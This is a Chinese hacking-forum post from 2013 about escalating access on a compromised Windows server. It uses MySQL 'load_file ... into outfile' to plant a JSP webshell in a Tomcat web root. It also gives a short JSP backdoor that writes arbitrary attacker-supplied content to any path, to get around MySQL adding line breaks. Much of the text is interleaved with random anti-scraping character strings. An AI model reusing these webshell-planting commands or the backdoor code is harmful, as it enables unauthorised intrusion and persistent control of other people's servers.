找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2441|回复: 0
打印 上一主题 下一主题

解决Win下MySQL root导出Webshell换行符问题

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:52:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天碰到了这么个问题,简单记录一下我的解决方案。
' f% M6 y; O) i0 o5 O4 a! |
9 ~" E! d- ~7 y& Z" U首先说一下服务器的环境。服务器的80端口按照标准的虚拟主机来配置的,支持asp,aspx,php,但是不支持php' e" @  I* n0 w7 T3 i( m/ L. T
安装了mssql(1433端口),tomcat(8080端口),serv-u(43958端口)和两个mysql(3306端口和3307端口)
6 `+ i2 l9 }* B提权的时候没有sa密码,没有serv-u密码,mysql 5.1首先运行了
9 k& b- M4 [9 y1 show variables like '%plugin%';
. ~2 g7 @/ Y+ m8 d. s后,根据设置导出dll到C:\Program Files\MySQL\MySQL Server 5.1\lib\成功" a' N4 m* `3 {0 _
创建自定义函数似乎被拦截,一直失败。2 k2 n# _$ |- N3 |2 I3 w  }
后找到tomcat目录,准备写马,asp,aspx,php对tomcat目录:C:/Program Files/cngradms_x86/tomcat/webapps/ROOT/均无写入权限- }6 s" Z7 g5 }- ^2 i, e/ w3 q
测试mysql有写入权限。故上传jsp大马至网站web目录:d:\xxx\fuck.jsp9 w- d! N# d" W( F* d: [' F# j- u, S
用mysql执行语句:3 r; S% z7 u& J4 O' f! `$ e0 k/ Z" l
1 select load_file('d:\\xxx\\fuck.jsp')  into outfile 'C:\\Program Files\\cngradms_x86\\tomcat\\webapps\\ROOT\\upload\\fuck.jsp'
0 _0 U% V' E& O, `  o! u2 K2 复制代码
, V+ s3 k" M: _) V- v& I后成功。
+ z) W0 q0 W( m1 r" _但是访问后得到如下提示:
; B4 s  r. g0 W# \7 e​500页面
8 E2 c3 c3 m) }$ K  y; U7 S( U6 q# j6 ?% q# ?

6 X- O9 `2 g! j1 l! s4 J明显是MySQL的Win下版本自动添加转义符\n\r了
/ v0 l  _! P8 b  z6 }% r这样导致程序运行的悲剧。
! S! }& M0 j" t2 q* x% V$ H从网上找了很多方法,什么update把转义符消掉,enclose巴拉巴拉,反正五花八门就是没一个可以用的。8 }* t& B8 Y3 B7 [
最后弄了这么个小脚本:
$ N; r' F* r* G2 u& y! q01 <%@ page language="java" pageEncoding="gbk"%>: P2 ]# l& G3 R" Z4 s6 V
02 <jsp:directive.page import="java.io.File"/>
' |0 O- g# v/ ?! t! h03 <jsp:directive.page import="java.io.OutputStream"/>, B& O7 f  n: I
04 <jsp:directive.page import="java.io.FileOutputStream"/>) {" u8 ?# k+ B, z6 K
05 <% int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("yoco")){String url=request.getParameter("url");String text=request.getParameter("smart");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>
+ L8 ~( N3 z6 z06 error www.2cto.com7 u+ k2 i6 O9 U- r
07 <%}}if(i==0){%>8 P1 }& x" |' O5 p) W
08 ok7 s+ F+ x1 B0 }5 F
09 <%}%>7 q0 }/ `' b& ~
10 <form action='?act=yoco' method='post'><input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="smart">
3 L6 [  q9 P0 l0 {就可以避免转义符让JSP的马儿运行500错误了。0 s7 X7 D- {7 O  O' b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表